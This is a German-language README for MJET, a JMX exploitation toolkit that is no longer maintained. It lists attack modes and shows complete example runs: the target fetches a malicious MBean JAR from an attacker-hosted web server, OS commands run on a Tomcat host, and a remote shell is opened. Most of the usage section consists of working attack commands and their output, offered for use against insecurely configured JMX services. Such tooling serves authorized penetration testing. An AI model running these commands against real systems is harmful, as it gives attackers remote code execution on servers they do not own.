MJET von MOGWAI LABS

MOGWAI LABS JMX-Exploitation-Toolkit

MJET ist ein Fork von sjet, das von siberas entwickelt wurde, aber nicht mehr aktiv gepflegt wird. MJET wird vom MOGWAI LABS-Team gepflegt, das auch den Großteil der ursprünglichen sjet-Codebasis bereitgestellt hat.

MJET ermöglicht die einfache Ausnutzung unsicher konfigurierter JMX-Dienste. Weitere Hintergrundinformationen finden Sie hier und hier.

!!! Wichtig: Dieses Projekt wird nicht mehr gepflegt

Dieses Repository wird nicht mehr aktiv gepflegt. Wir empfehlen stattdessen die Verwendung von qtcs beanshooter.

Voraussetzungen

• Jython 2.7
• Ysoserial (zum Ausnutzen von Deserialisierungsschwachstellen über JMX)
• opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (zur Unterstützung des alternativen JMX Message Protocol (JMXMP))

Verwendung

MJET implementiert eine CLI-Schnittstelle (unter Verwendung von argparse):

jython mjet.py targetHost targetPort MODE password (modeOptions)

Wobei

• targetHost - die IP-Adresse des Zielsystems
• targetPort - der Zielport, auf dem JMX läuft
• MODE - der Skriptmodus
• modeOptions - die Optionen für den gewählten Modus

Authentifizierungsunterstützung (falls JMX-Authentifizierung aktiviert ist):

• --jmxrole - der Benutzername
• --jmxpassword - das Passwort

Weitere optionale Argumente:

• --jmxmp - JMX-MP verwenden (erfordert das Laden einer zusätzlichen JAR-Datei)
• --localhost_bypass - Dienstport für den Proxy beim Localhost-Bypass
• --shell - Verwende definierte Shell
• --rmiObjectName - RMI-Name des JMX-Endpunkts

Modi und modeOptions

• install - installiert die Payload auf dem aktuellen Ziel
  • password - das Passwort, das nach erfolgreicher Installation gesetzt werden soll
  • payload_url - vollständige URL zum Laden der Payload
  • payload_port - Port zum Laden der Payload
• uninstall - deinstalliert die Payload vom aktuellen Ziel
• changepw - das Passwort einer bereits bereitgestellten Payload ändern
  • password - das Passwort für den Zugriff auf die installierte MBean
  • newpass - das neue Passwort
• command - führt den Befehl CMD auf dem targetHost aus
  • password - das Passwort für den Zugriff auf die installierte MBean
  • CMD - der auszuführende Befehl
• shell - startet eine einfache Shell auf dem targetHost (mit den Einschränkungen von java's Runtime.exec())
  • password - das Passwort für den Zugriff auf die installierte MBean
• javascript - führt eine JavaScript-Datei FILENAME auf dem targetHost aus
  • password - das Passwort für den Zugriff auf die installierte MBean
  • FILENAME - das auszuführende JavaScript
• deserialize - sendet eine ysoserial-Payload an das Ziel
  • gadget - Gadget, wie von ysoserial bereitgestellt, z. B. CommonsCollections6
  • cmd - der auszuführende Befehl
• webserver - nur den MLET-Webserver ausführen
  • payload_url - vollständige URL zum Laden der Payload
  • payload_port - Port zum Laden der Payload

Beispiele

Installieren der Payload-MBean auf einem verwundbaren JMX-Dienst

Im folgenden Beispiel läuft der verwundbare JMX-Dienst auf 10.165.188.23 Port 2222, der Angreifer hat die IP-Adresse 10.165.188.1. Der JMX-Dienst verbindet sich mit dem Webdienst des Angreifers, um die Payload-JAR-Datei herunterzuladen. MJET startet den benötigten Webdienst auf Port 8000.

Nach der erfolgreichen Installation der MBean wird das Standardpasswort in das Passwort geändert, das an der Befehlszeile angegeben wurde ("super_secret").

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Installation mit JMX-Anmeldedaten (erfordert ebenfalls eine schwache Konfiguration des Servers):

h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Ausführen des Befehls 'ls -la' auf einem Linux-Ziel:

Nachdem die Payload installiert wurde, können wir sie verwenden, um Betriebssystembefehle auf dem Ziel auszuführen.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Ausführen im Shell-Modus

Wenn Sie nicht für jeden Befehl Java laden möchten, können Sie den "Shell-Modus" verwenden, um eine eingeschränkte Befehlsshell zu erhalten.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret